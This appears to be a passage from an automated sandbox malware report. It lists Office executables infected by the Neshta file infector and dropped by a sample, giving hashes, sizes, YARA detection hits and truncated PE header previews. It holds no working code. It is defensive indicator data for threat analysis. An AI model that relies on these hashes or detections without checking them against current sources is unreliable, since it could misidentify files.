SHA-256:	BBC6913BAC290E98B15A7F65E9CDAC0607BCE18A32CD3DCD1D7EAD307F0B51E5
SHA-512:	77A398F43351031F2B6EAACE03F787E49DE72A1C937A24A2847BACFBA8A1FE76B2B031524530E5E5B2648B6B0FA87B53104A92B1A216963F2D233E0D74D03D16
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4395184
Entropy (8bit):	5.937082520516123
Encrypted:	false
SSDEEP:	98304:mXuo5RMru45b5dZlAj0sqW7YDKMzVwgBWMTwLe7G:oR345NRAgsr7QH6h93
MD5:	F57075B760A0D881010E15505F0C483C
SHA1:	0ABC231159F339F651595E385EC7B466E259470C
SHA-256:	3D0EEB0CB3BFBCCB167AE0D1AD90B8EFE17C9B88D491AD5D14A0EFAB223D6E21
SHA-512:	64D97EF9B435579D883DD5C08967737D868C6A6B6347E37E248C5DDFB47FA726B712DCABC179EA62E0A936692355766FC06BB4C1DA3087B81092942940068161
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	603928
Entropy (8bit):	6.530305704021743
Encrypted:	false
SSDEEP:	12288:bzKRgqBDxoiPCLXHLuk/Wg4Reh2mbeF+IGboJdx:/KgMxoiPoXruPi/++IvJdx
MD5:	8F1CAC64758ABE414CC4B882EE8519B8
SHA1:	7018BE9C3FCF4FB4F8138869F9CD40AAB0C9B1A4
SHA-256:	110E1BBB7A4F7A42D2099D8A76F068DDE01D63C28D841AAF06D3EA872F261716
SHA-512:	19F81CA57D67C8D8B784817E88C10E7768906F019950914B391DF69C2C537380296D1D4B92F7070ED25582E9EB7C015E797D3131D77A70CCFF690CDD39CFE4EC
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	507024
Entropy (8bit):	6.145143458075982
Encrypted:	false
SSDEEP:	6144:k95yrmBq0RYSv3A5DhW15yChMFt2XTNJWLgCWzzYhPRt+:NrmBjYuALWJMn2XTmL7hPH+
MD5:	F6C667D2590E5294F3272D9576BC3051
SHA1:	13D893A1521C8BA8D1FCBE11EE0FD16F2E0194F9
SHA-256:	03966A5548958182569400B6098219CDDB1EC6C5BCCFB5391A36F66E9F517FC6
SHA-512:	E2FE50A7EE86D8B05CCE91C9F0CA07A24C41631A317F38AB380C996475BD8B9CB05BD7B9D49968AE87442399EE7312C69169447B3D527B539F0C8C1920D986CD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	251560
Entropy (8bit):	6.621260401843092
Encrypted:	false
SSDEEP:	6144:k9BomAAOwPcPIqk4Vsvt0uews+qZP9zOPBxGiryKI:4sAETlVsKzZPixGBKI
MD5:	3DF5147DBAC00F92DDEE6D22533EB194
SHA1:	F7ABB04F99361465F9FA9193E1ED06B49381C688
SHA-256:	A5BD7911E7F7FC76E27F5BFBF2B4AAAAD9FFE0FD304B65D87783409629EE8B25
SHA-512:	84ADC24DBDCBE9EB9A5BD77BBC0F1BC1E59E4C32496F4A435D85ADD042F7FEFFB0FD21D459D62F0BCFF7655CB3262F7BAA491F6947B5F4ADCC650A5B10FCE3E8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	751720
Entropy (8bit):	6.631735781680161
Encrypted:	false
SSDEEP:	12288:DdI8PdgELg6eaBlnjlZcTerWv+xdeFhvCs9TukINOW:Da8PWELTBlZ+erw+xdeFUsUkEh
MD5:	8A6DCA4D7B31FB7626B5FB7430241040
SHA1:	258B527B5F6B30411C8727107B29AB9300163817
SHA-256:	6DFF05FB541A8D3B7847AB3197422E582AA021963A9C4BF63C44100180CF22F5
SHA-512:	2A9714FE31814C0ABE13F59ED77A8EACD0CAF2BF9566FE9B9B0240A942EE5BF5425A5E523F2C51DDBE8BA977675753074901C211A42D899F7AF9F47890280693
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	161968
Entropy (8bit):	6.528134300921485
Encrypted:	false
SSDEEP:	3072:sr85C9NDS5lS1jITI1FeBT77NDS5lS3j+Wzy6oUSA7hZ:k99NDS5lSxFeBTfNDS5lS7zUrsZ
MD5:	9A962710D6C3F23726E18BFDCF7D5BEE
SHA1:	01AE9DB82D4B7E365E30B4A2A930B74FB8C0C5DC
SHA-256:	17D163C4C9AA325EA07FB5E5EFCFC3A308D30D71C7A19BF663350F978EB6418C
SHA-512:	0D51336AF8246C7B6EC30F506206198A7873106E07995A69A51D059FA5F83BC0BE6E6744A0D0306DBAA811DF623239FB472880E7C87AE83CC9BFCE70E7C2960B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	159560
Entropy (8bit):	6.577583568198119
Encrypted:	false
SSDEEP:	3072:sr85CIklWPsom9TiWWWWWWWQM+FtWAzhIwaeENinkf8xw3xUFv2tGPrtPmF:k9ab5zPaNQnBxw34Oita
MD5:	04CD44B46689C390B61090CC9AF0DFC5
SHA1:	DC21D958A5D799B45AC721528216E981AD9FE73E
SHA-256:	19E2D4135729DEEB6086A7B6E50CC9CC238DC19F199BE40CFF80A7280A9D7A8C
SHA-512:	7D91066D2D02853B9C71C1D691D1315E0CBDC1111AEA83A4A45CB40AAB26A53311386579BA93AF557C9074D4D69E0D265B13C41A384C23BC254911591C0C8B5E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2233240
Entropy (8bit):	6.2971498741833525
Encrypted:	false
SSDEEP:	24576:LDZgOA74U4o//sbtwvZTqFDk9sg71SmY90gh/G7QJoma+9duNGeVG29H:vqHVhTr5UmY90sGE5dIDG29H
MD5:	B30942151231700F5D6432BA1B1A0C0E
SHA1:	670E354D40154284F518603B702DC0B7EE94DF82
SHA-256:	F8677E5F13CEF8B175C10B333927AFF942E46A9F0C73BE91E9BA8A424B878ABD
SHA-512:	8652C36DF9B5A8B245E3F0A4AECEC55E46B55D18020A11AA0BFC0BFDB532870AE06CECFDBC15000B287E171177570A4EFEE44E2F2EF9B228221C93074A65DB37
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	214432
Entropy (8bit):	5.994507792871334
Encrypted:	false
SSDEEP:	3072:sr85CIVFptXofXXXXXXuh9gLzltw6Q1hqOJHrtTh:k9YtXofXXXXXXASLzb9uhqK
MD5:	74D1B233AC72ECF698C6A7C899B119BE
SHA1:	EEF35AD9326A5A3E3E9F517DAF69D57D0B700DD3
SHA-256:	A74DA825D78F461489E405F90CCCE848699A5548DA0D921864486DC95F18BAF6
SHA-512:	FA9D2E78E79A108AEFCFAE48D040EAF500B72B77C3F62404565D257642FC848405FEC7364A8F1F98EEF00B5725C25A77B5C4B37B3CB60A0DC3909A2FE3C5D6C0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	620840
Entropy (8bit):	6.585082275251885
Encrypted:	false
SSDEEP:	12288:ioBdI/BUQtsfBCegl2eccL1q/xRyye7BfcwqEhDe:ioM/BB0Bml2m1q/xRPCcwFC
MD5:	91F300014FBA9310BBDBE0CFDEC9A819
SHA1:	8091C24B7EFF0215CAF7424ED956322E0E9B4476
SHA-256:	450D510099056DD9E931D0094D6963A07544E91B3D84A29CA05223C35273A22E
SHA-512:	B39BD37C0DD05D81647E4C42F0E43CEC41DA0291DAC6F7E10670FD524635086B153025F4E4450ED1D51DF6F9C238DC7BAB3DDCDBE68822AEEF9B79827EE1F0F6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1568248
Entropy (8bit):	5.675955532170124
Encrypted:	false
SSDEEP:	12288:+wF+k53zCG2tIuQ6DtJQSZDhLOhkZzV5i9w/lmd+jrcUiACW:bFXG6uQ6D9L2uV50AlmsjYUiAB
MD5:	59BBEC68CF2ABBE0AA71761A90902F8E
SHA1:	CA4DE80AC4640A32C495FCE0237F46D45565745C
SHA-256:	2289860922074D80B8F52D6014A3002061616342E0CA952A6A6608E83434F8C4
SHA-512:	4CED0681CC7B5F9F40E4F7496F692A55C71C0DB1E2DBC93C08D8415DF9914F01FA8E45AA9FD276305DF824B7C3742E39BAE005CBB4A851B9E264E5129216B43E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: ditekSHen Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	634800
Entropy (8bit):	6.709073721775351
Encrypted:	false
SSDEEP:	12288:jf/4sOdw+RfEB6tuAlnWhGZco6ijmn5jFTSt7yCPUkazi7JThVoSZeR6aQTJ:7/4Vdw+Ra6V6g2kazidN6SoEVF
MD5:	93B1C57F0B5C441FF47190254B01C47D
SHA1:	8DDFB09946D30CFC78B8D9C4DA9AB19FD0EAE045
SHA-256:	846FDD3E11DAE5A991888539674DFB6649A1960E724CF72E2D8E37A23C357609
SHA-512:	5B15EBBCBD69C6BE2CCA96D6C0635FFADD5312BB8EE7FFC6A655D191F5EE25EEEA20EA95D92EF45B47D5AC54BB3216C74D0D4DAC3DB1C5A18B0230F285D5B588
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	748192
Entropy (8bit):	6.713281323235293
Encrypted:	false
SSDEEP:	12288:KKxLM1deLycUTc1kZi7zb1QRHhhj7WGvF5PYcdTFtZ3G97aSDGGHrbTwqFwydBf6:KyY14evTc1kZi7zb1KHL8vbTlwOBC
MD5:	D995BB9A7D45C056184104F03848D134
SHA1:	794094754972689F4ADF9F876F60440FA74FBD2B
SHA-256:	CD263241B90D11DB8E0A0EE42D47AB1F7517675F53C2B8D92C61471746BE2276
SHA-512:	89C4B7AF03DF6B2FE3BBF56D476497E9102B0ADD24552A78D164DDAEE453AA1760D12EB4ABA0501A58BD5F00B00DA36CA0BEDD542B271DC08ECFFF9395495643
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1917048
Entropy (8bit):	3.840447707777205
Encrypted:	false
SSDEEP:	6144:k9GBeXsm81c57ZXFzY5Ucyw4TapP25xxlq4cUcMeTOMzwMwZ:DKs78A5UcyOPexxPcUcMeyvZ
MD5:	87330F5547731E2D56AD623ECDA91B68
SHA1:	273DC318E8812B3BC6457B0EBEE15F9A7F1D0C5E
SHA-256:	268E93C44BE7EFF8D80A2B57427FCA2C98E9B08B3E865FFD3C943497AF6408FB
SHA-512:	DF4DBF95080AA5378E2E0BC5BAD584C6C63ED6464BB855F84AB315B00B9CE08948BE4C69D7442C2BB96969E69596964510D2FECE737CAE39833628183550D19E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4099520
Entropy (8bit):	3.72186927452059
Encrypted:	false
SSDEEP:	12288:zyKs7cvZIFpCYVIUN2mGsb8HtkLaHLH04cLbUBRjLmP29DyZbT9oc/m06aCzE6hE:zyKsY+dy0ZScIBqBT11S0
MD5:	25E8600B1421194802B2569899E75383
SHA1:	01EFD3FABD4EDF0733F46D91FB9109523E943C15
SHA-256:	50280C7E926F959E876BA1BB0611F6C0BAB04EDCEB300D936A887FD3CC9EDE1B
SHA-512:	DD49E97D675CADA18BA0EC91B4B0A6DF16A86D17344099E3265D3FAA8C576106DADE231C2829FC1D758EECC24343C6AF345CABEF16E91B3854BDA3824AD61541
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	452120
Entropy (8bit):	6.067280009012926
Encrypted:	false
SSDEEP:	6144:k9xvhCpFviM0OKAOVf3m+2fCz29fx8/eAeTu:GEpFVKj3mFn9q
MD5:	7EDAA2971D821AB859302C57099296BF
SHA1:	3D7F419C517B8C3F3B881E7B248D2C4F7723664D
SHA-256:	CDB80830E3601071C86E0725AE58C9EDCE109BA793910F8C994526EC4E98F275
SHA-512:	4EB61A55475E6E87542748AE5C4CCC5B07C4840BF95A84342F09FE21C193B3C4040C27237EEFA4EA469180D24D44B591B1F2833441E456F4E2671A45B9D24121
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	116664
Entropy (8bit):	6.595026282405323
Encrypted:	false
SSDEEP:	3072:sr85C/uGaz7jFQ68ICP5q0WISDr34W+wst:k9/RazrA5q0WISDrZS
MD5:	42085E45C7B5872D0E034915481A8111
SHA1:	291E458BAD0A8EE5E491301224197ED1B4E00899
SHA-256:	E8180D00A2F330E6EF33CEFC29896F0F77FF21C1FF23A637A003D97FA9DB62D4
SHA-512:	0AFD24F81C375210CC5A379FCFFE82B0A50B709A149AE1FB92E4470BF9F1AAF1500BF128C4F4766071C54AE32E89A15A0FB002D64D715601BD7E010E25E1441D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: Joe Security Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t......................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe

Download File

Process:	C:\Users\user\Desktop\LisectAVT_2403002B_4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	167392
Entropy (8bit):	6.553431728074077
Encrypted:	false
SSDEEP:	3072:sr85C6WKZbTKeR3Tzp+8IxR8jYYrjHaVLIPSL1CgNX:k96WK11Rp+8II5SLUgp
MD5:	48284F62E79703C80F768CE0ECE7143D
SHA1:	70DED4ABEB18FEC56583A1F049F4D39507F983B4
SHA-256:	1BFDD1474D84B058F2C6F19216FB31DC42DA4E42FEF61923814B304276CC08F7
SHA-512:	A9DD19BA1321A56C4FE3B9CF83E2AFE51D4C915B4F7078EA90F8C3415F64C9F0C3A52DC614AF785045036710D6D819E270B5887F6B198DCDFF9953B8289EAC72
Malicious:	true
